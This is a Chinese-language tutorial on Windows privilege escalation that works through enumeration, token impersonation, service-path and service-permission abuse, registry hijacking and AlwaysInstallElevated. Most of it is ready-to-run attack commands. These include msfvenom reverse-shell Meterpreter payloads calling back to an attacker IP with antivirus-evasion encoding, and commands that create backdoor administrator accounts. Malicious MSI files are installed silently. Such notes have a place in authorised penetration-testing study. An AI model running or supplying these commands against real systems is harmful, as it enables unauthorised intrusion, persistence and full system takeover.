Window提权
0x00 权限提升概述
提权概述
权限提升(privilege escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限 的管理员用户,从而获得对整个系统得控制权。
Windows系统内置用户和组
内置用户:
- Administrator:系统管理员账户,拥有完全的控制权限
- Guest:来宾账户,供访问共享资源的网络用户使用,仅有最基本的权限,默认被禁用
内置用户组:
- Administrators:管理员组
- Users:新建用的默认所属的组
- Guests:来宾组,权限最低
Windows:user --> administrator
Linux:user --> root
提权分类
本地提权:在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)直接提升到系统最高权限。
远程提权:攻击者通过漏洞利用程序直接获取远程服务器的权限。
纵向提权:低权限角色获得高权限角色的权限。
横向提权:获取同级别角色的权限。
提权条件
- 拥有Webshell,普通用户权限
- 拥有某些软件的账号密码
- 本地或远程服务器上存在漏洞
- 拥有漏洞利用工具代码
Windows提权思路 •
- 前期信息收集
- Meterpreter提权
- Windows系统内核漏洞
- Windows服务漏洞
- Windwos注册表
0x01 Windows提权信息收集
获取meterpreter
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.246 lport=8882 -f exe -o xx.exe -e x86/shikata_ga_nai -i 8
handler -p windows/meterpreter/reverse_tcp -H 192.168.31.246 -P 8882
WMIC信息收集
#获取杀软名:
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
#获取杀软名和安装路径:
WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe
wmic group #组帐户管理。
wmic os #已安装操作系统的管理。
wmic process #进程管理
wmic service #服务应用程序管理。
wmic useraccount #用户帐户管理。
wmic startup #当用户登录到计算机系统时自动运行的命令的管理。
wmic nic #网络接口控制器(NIC)管理
wmic信息提取脚本:wmic_info.bat
SC信息收集
sc query state= all
自动信息收集
Host Information Gathering Script:HIGS.bat
https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%9 4%B6%E9%9B%86/HIGS.bat
privilege-escalation-awesome-scripts:winPEAS.bat
https://github.com/carlospolop/privilege-escalation-awesome-scriptssuite/blob/master/winPEAS/winPEASbat/winPEAS.bat
https://github.com/M4ximuss/Powerless
提权工具脚本
RottenPotato: 将服务帐户本地提权至SYSTEM
load incognito
list_tokens –u
upload /root/rottenpotato.exe .
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
基于RottenPotato二次开发的软件:
Origin Potato : https://github.com/foxglovesec/Potato
RottenPotato & JuicyPotato: https://github.com/ohpe/juicy-potato
RoguePotato: https://github.com/antonioCoco/RoguePotato
SweetPotato: https://github.com/CCob/SweetPotato
SweetPotato
Getsystem
0x02 Windows内核漏洞提权
#检查Windows版本是否有任何已知的漏洞:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version“
wmic qfe get Caption,Description,HotFixID,InstalledOn
#列出所有补丁:
powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"
#列出安全更新补丁:
powershell -c "Get-Hotfix -description 'Security update'"
windows-kernel-exploits(Windows平台提权漏洞集合):
https://github.com/SecWiki/windows-kernel-exploits
MSF
use post/multi/recon/local_exploit_suggester
set SESSION
exploit
0x03 Windows系统服务漏洞
可信任服务路径
可信任服务路径:存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限, Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候 也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例如:
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
C:\Program.exe
C:\Program Files (x86)\Windows.exe
C:\Program Files (x86)\Windows Folder\Common.exe
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
Windows在寻找这个文件的时候,碰见空格会先找寻Program.exe这个文件,如果当前文件下没有Program.exe,则会继续向下走到第二个目录,碰见空格,又执行Windows.exe,以此类推,直到执行到Folder.exe。
所以,我们可以通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名, 则可利用此漏洞。
-
检查目标主机是否可能存在漏洞:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\"|findstr/i /v """
-
检查对有漏洞目录是否有写入权限
icacls "C:\Program Files (x86)\Program Folder"
F = 完全控制
CI = 容器继承 - 此标志指示从属容器将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE
-
生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.246 LPORT=9999 -f exe -o A.exe
-
上传exe到漏洞目录
upload A.exe 'C:\Program Files (x86)\Program Folder\'
-
开启监听
handler -H 192.168.31.246 -P 9999 -p windows/meterpreter/reverse_tcp
-
重启服务
sc stop "Vulnerable Service”
sc start "Vulnerable Service
-
设置自动迁移进程,重新开启监听,获取meterpreter
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 9999
set lhost 192.168.31.246
set autorunscript migrate –f
不安全的服务权限
Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。
JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。 而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。
所以如果一个低权限的用户对于此类 系统服务调用的可执行文件具有可写的权限,那么就可以修改服务的属性,将其替换成我们的恶意可执行文件,从 而随着系统启动服务而获得系统权限。
-
利用accesschk工具检查易受到攻击的服务
accesschk64.exe -ucqv "anthus" * /accepteula
-
.查看可完全控制的服务的属性
sc qc "Vulnerable Service"
-
修改服务配置执行命令binpath
BINARY_PATH_NAME参数指向了该服务的可执行程序(Executable.exe)路径。如果我们将这个值修改成任何命令, 那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行
sc config "Vulnerable Service" binpath= "net user zhangsan 123456 /add" sc stop "Vulnerable Service" sc start "Vulnerable Service"
Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户 Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。
SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权
BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命令,那意味着这个 命令在该服务下一次启动时,将会以SYSTEM权限运行。
#将张三添加至管理员组,使得账户拥有管理员权限
sc config "Vulnerable Service" binpath= "net localgroup Administrators zhangsan /add"
sc stop "Vulnerable Service"
sc start "Vulnerable Service"
不安全的注册表权限
Windows中,与服务相关的信息存在 HKLM[HKEY_LOCAL_MACHINE]\SYSTEM\CurrentControlSet\Services 注册表中。 如果想查看有关 “易受攻击的服务”的信息,应该检查HKLM\SYSTEM\ControlSet\Services\Vulnerable Service 的键值。
工具: Subinacl
https://www.microsoft.com/en-us/download/details.aspx?id=23510
subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display
如果对注册表项有写入权限,我们可以通过编辑ImagePath值来更改此服务的可执行路径。
-
msfvenom生成木马
msfvenom -p windows/adduser USER=hacker PASS=Hacker123$ -f exe > adduser.exe
-
上传到机器上
upload adduser.exe C:\\Windows\\Temp\\
-
执行修改命令
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\Temp\adduser.exe" /f
注册表被成功替换
-
重新启动服务,用户被成功添加
不安全的文件/文件夹权限
这与我们用非引用服务路径所做的非常相似。无引号的服务路径利用了“CreateProcess”功能的弱点,以及服务 的可执行文件路径的文件夹权限。
在这里可以直接替换可执行文件。
icacls "C:\Program Files (x86)\Program Folder"
默认的服务文件是C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe 将“Executable.exe”文件替换成一个反弹shell payload,并且当服务重启时,会反弹一个SYSTEM权限的 meterpreter 会话
Always Install Elevated
任意用户以NT AUTHORITY\SYSTEM权限安装msi。
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权 用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权 限执行任意payload。
判断是否启用此策略设置:
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v
AlwaysInstallElevated
收到“错误:系统无法找到指定的注册表项或值”的错误,则表示此注册表值从未创建。 说明政策没有启用。
收到“AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。
启用Always Install Elevated:
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t
REG_DWORD /d 1
-
使用msfvenom生成恶意msi程序上传
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.246 LPORT=8881 -f exe -o localmsf8881.exe
#反弹shell
msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\LYXC\AppData\Local\Temp\localmsf8882.exe" > malicious.msi
#添加用户
msfvenom -p windows/adduser USER=test PASS=Password@123 --platform windows -a x86 -f msinouac -o test.msi
-
将这两个上传到目标机器
meterpreter > upload localmsf8881.exe C:\\Users\\LYXC\\AppData\\Local\\Temp\\
meterpreter > upload malicious.msi C:\\Users\\LYXC\\AppData\\Local\\Temp\\
-
运行恶意程序
msiexec /quiet /qn /i C:\Users\LYXC\AppData\Local\temp\malicious.msi
# /quiet 安装过程中禁止向用户发送消息
# /qn 不使用GUI
# /i 安装程序
直接收到了第二个session
但是权限依然只是LYXC,并不是System的最高权限,是因为Metasploit生成的msi文件 在运行时没有要求提升权限,所以导致了这个问题,这时可以使用微软官方的MSI生成工具
https://www.exemsi.com/downloads/msi_wrapper/MSI_Wrapper_9_0_42_0.msi
上传malicious.msi至靶机,运行恶意程序
msiexec /quiet /qn /i C:\Users\anthus\AppData\Local\temp\malicious.msi
成功提权